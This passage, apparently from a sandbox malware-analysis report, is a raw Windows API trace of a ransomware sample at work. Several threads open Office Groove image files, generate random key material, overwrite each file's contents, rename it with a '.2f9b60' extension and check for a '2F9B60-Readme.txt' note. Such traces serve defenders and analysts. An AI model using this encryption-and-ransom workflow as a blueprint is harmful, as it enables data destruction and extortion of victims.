nNumberOfBytesToWrite=0x3356, lpNumberOfBytesWritten=0x2395f594, lpOverlapped=0x0 | out: lpBuffer=0x20420f30*, lpNumberOfBytesWritten=0x2395f594*=0x3356, lpOverlapped=0x0) returned 1 [0222.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b10 [0222.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265e20 [0222.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265e20) returned 1 [0222.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20420f30) returned 1 [0222.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20433b80) returned 1 [0222.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0222.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f10) returned 1 [0222.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce61f10 [0222.977] SetFilePointerEx (in: hFile=0x2564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.977] WriteFile (in: hFile=0x2564, lpBuffer=0x42c21390*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2395f6b0, lpOverlapped=0x0 | out: lpBuffer=0x42c21390*, lpNumberOfBytesWritten=0x2395f6b0*=0x126, lpOverlapped=0x0) returned 1 [0223.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21390) returned 1 [0223.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce627d0) returned 1 [0223.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265e20) returned 1 [0223.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f10) returned 1 [0223.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b10) returned 1 [0223.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264620) returned 1 [0223.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267410) returned 1 [0223.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a00) returned 1 [0223.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1ceb6980 [0223.464] wcscpy (in: _Dest=0x1ceb6980, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" [0223.464] wcscat (in: _Dest=0x1ceb6980, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.2f9b60" [0223.464] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.2f9b60", NtPathName=0x2395f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x431a8a50 Thread: id = 3719 os_tid = 0x1f4c [0220.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp")) returned 0x20 [0221.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp", dwFileAttributes=0x20) returned 1 [0221.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x32f0 [0221.922] GetFileSizeEx (in: hFile=0x32f0, lpFileSize=0x2bcefae0 | out: lpFileSize=0x2bcefae0*=7280) returned 1 [0221.922] SetFilePointerEx (in: hFile=0x32f0, liDistanceToMove=0x1c6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.922] ReadFile (in: hFile=0x32f0, lpBuffer=0x2bcefa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bcefaa8, lpOverlapped=0x0 | out: lpBuffer=0x2bcefa60*, lpNumberOfBytesRead=0x2bcefaa8*=0x4, lpOverlapped=0x0) returned 1 [0222.031] SetFilePointerEx (in: hFile=0x32f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x180400 [0222.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe20 [0222.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0222.033] NtQuerySystemTime (in: CurrentTime=0x2bcef9a0 | out: CurrentTime=0x2bcef9a0*=132462178260202000) returned 0x0 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x7e2b6bf7 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x6c852e27 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x5ea2c0f6 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x658d39f3 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x42b71ed7 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x24cb52fe [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x394d2358 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x4ad325a3 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0xc2d97d2 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x1443c304 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x4811a7a4 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x3f7d8e49 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x7a92171 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x42c107f6 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x75bb7768 [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x3b5f6dff [0222.033] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x2e0ca8de [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x64b308b [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x40b55fc5 [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x7770535b [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x61c941a9 [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x733f43e0 [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x6fc30cc0 [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x6af7e21 [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0xa705d48 [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x51545a3a [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x20f26854 [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x441970b2 [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x5d03ceaf [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x38fadbaa [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x4d76dd82 [0222.034] RtlRandomEx (in: Seed=0x2bcef990 | out: Seed=0x2bcef990) returned 0x36b37d38 [0222.044] ReadFile (in: hFile=0x32f0, lpBuffer=0x42afced0, nNumberOfBytesToRead=0x1c70, lpNumberOfBytesRead=0x2bcef990, lpOverlapped=0x0 | out: lpBuffer=0x42afced0*, lpNumberOfBytesRead=0x2bcef990*=0x1c70, lpOverlapped=0x0) returned 1 [0222.287] SetFilePointerEx (in: hFile=0x32f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.287] WriteFile (in: hFile=0x32f0, lpBuffer=0x42acc200*, nNumberOfBytesToWrite=0x1c70, lpNumberOfBytesWritten=0x2bcef994, lpOverlapped=0x0 | out: lpBuffer=0x42acc200*, lpNumberOfBytesWritten=0x2bcef994*=0x1c70, lpOverlapped=0x0) returned 1 [0223.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265160 [0223.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265190 [0223.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265190) returned 1 [0223.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42acc200) returned 1 [0223.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42afced0) returned 1 [0223.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c3c0) returned 1 [0223.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0223.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d4f0 [0223.335] SetFilePointerEx (in: hFile=0x32f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0223.335] WriteFile (in: hFile=0x32f0, lpBuffer=0x188fd0*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2bcefab0, lpOverlapped=0x0 | out: lpBuffer=0x188fd0*, lpNumberOfBytesWritten=0x2bcefab0*=0x12e, lpOverlapped=0x0) returned 1 [0223.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188fd0) returned 1 [0223.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea00) returned 1 [0223.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265190) returned 1 [0223.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d4f0) returned 1 [0223.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265160) returned 1 [0223.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe20) returned 1 [0223.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fdf0) returned 1 [0223.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860960) returned 1 [0223.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78fd80 [0223.662] wcscpy (in: _Dest=0x1b78fd80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" [0223.663] wcscat (in: _Dest=0x1b78fd80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp.2f9b60" [0223.663] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp.2f9b60", NtPathName=0x2bcefad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x1673a0 Thread: id = 3742 os_tid = 0x22a0 [0220.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg")) returned 0x20 [0220.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg", dwFileAttributes=0x20) returned 1 [0220.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fd8 [0220.469] GetFileSizeEx (in: hFile=0x1fd8, lpFileSize=0x4f40fca0 | out: lpFileSize=0x4f40fca0*=9497) returned 1 [0220.469] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x2515, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.469] ReadFile (in: hFile=0x1fd8, lpBuffer=0x4f40fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4f40fc68, lpOverlapped=0x0 | out: lpBuffer=0x4f40fc20*, lpNumberOfBytesRead=0x4f40fc68*=0x4, lpOverlapped=0x0) returned 1 [0221.497] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5d0 [0221.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a330 [0221.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b8c0 [0221.498] NtQuerySystemTime (in: CurrentTime=0x4f40fb60 | out: CurrentTime=0x4f40fb60*=132462178254898000) returned 0x0 [0221.498] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x4ddacd23 [0221.498] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x1df1448c [0221.498] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x7a771bd2 [0221.498] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x1dc759fe [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0xfb2ade2 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x48205b3c [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x65092de7 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x47de5b80 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x6cee27e [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x7391249e [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x5abdc701 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x6fc31be [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x3cbee88f [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x7c203802 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x305629bf [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x27ae3764 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x6db99581 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x13ef0e2d [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x18ac5a6 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x2e522222 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x2f7a10b6 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x6fd23970 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x5c7faf77 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x6426c17f [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x8eba50d [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x67fbabe3 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x34f16a79 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x709174d2 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x24969ab1 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x19defe17 [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x59db137b [0221.499] RtlRandomEx (in: Seed=0x4f40fb50 | out: Seed=0x4f40fb50) returned 0x36af35cc [0221.509] ReadFile (in: hFile=0x1fd8, lpBuffer=0x420ff200, nNumberOfBytesToRead=0x2519, lpNumberOfBytesRead=0x4f40fb50, lpOverlapped=0x0 | out: lpBuffer=0x420ff200*, lpNumberOfBytesRead=0x4f40fb50*=0x2519, lpOverlapped=0x0) returned 1 [0221.615] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.615] WriteFile (in: hFile=0x1fd8, lpBuffer=0x420d5d50*, nNumberOfBytesToWrite=0x2519, lpNumberOfBytesWritten=0x4f40fb54, lpOverlapped=0x0 | out: lpBuffer=0x420d5d50*, lpNumberOfBytesWritten=0x4f40fb54*=0x2519, lpOverlapped=0x0) returned 1 [0234.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4660 [0234.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f10 [0234.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f10) returned 1 [0234.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d5d50) returned 1 [0234.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ff200) returned 1 [0234.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0234.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ab0) returned 1 [0234.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ac820 [0234.836] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.836] WriteFile (in: hFile=0x1fd8, lpBuffer=0x431e1920*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x4f40fc70, lpOverlapped=0x0 | out: lpBuffer=0x431e1920*, lpNumberOfBytesWritten=0x4f40fc70*=0x116, lpOverlapped=0x0) returned 1 [0236.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e1920) returned 1 [0236.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431adea0) returned 1 [0236.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f10) returned 1 [0236.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ac820) returned 1 [0236.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4660) returned 1 [0236.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a330) returned 1 [0236.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b860) returned 1 [0236.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b500) returned 1 [0236.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b790180 [0236.577] wcscpy (in: _Dest=0x1b790180, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" [0236.577] wcscat (in: _Dest=0x1b790180, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg.2f9b60" [0236.577] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg.2f9b60", NtPathName=0x4f40fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x169800 [0236.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169800) returned 1 [0236.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced4510) returned 1 [0236.948] NtQueryInformationFile (in: FileHandle=0x1fd8, IoStatusBlock=0x4f40fcf8, FileInformation=0x4f40fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4f40fcf8, FileInformation=0x4f40fd08) returned 0x0 [0236.948] NtSetInformationFile (FileHandle=0x1fd8, IoStatusBlock=0x4f40fcf8, FileInformation=0x4f40fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b790180) returned 1 [0237.045] FlushFileBuffers (hFile=0x1fd8) returned 1 [0238.198] CloseHandle (hObject=0x1fd8) returned 1 [0241.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1ceb67a0 [0241.275] wcscpy (in: _Dest=0x1ceb67a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0241.275] wcscat (in: _Dest=0x1ceb67a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" [0241.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\2f9b60-readme.txt")) returned 0x20 [0241.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb67a0) returned 1 [0241.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb62f0) returned 1 Thread: id = 3743 os_tid = 0x2220 [0220.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp")) returned 0x20 [0220.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp", dwFileAttributes=0x20) returned 1 [0220.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x868 [0220.486] GetFileSizeEx (in: hFile=0x868, lpFileSize=0x1d4af760 | out: lpFileSize=0x1d4af760*=3240) returned 1 [0220.486] SetFilePointerEx (in: hFile=0x868, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.486] ReadFile (in: hFile=0x868, lpBuffer=0x1d4af6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d4af728, lpOverlapped=0x0 | out: lpBuffer=0x1d4af6e0*, lpNumberOfBytesRead=0x1d4af728*=0x4, lpOverlapped=0x0) returned 1 [0221.524] SetFilePointerEx (in: hFile=0x868, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5d0 [0221.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a960 [0221.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0221.525] 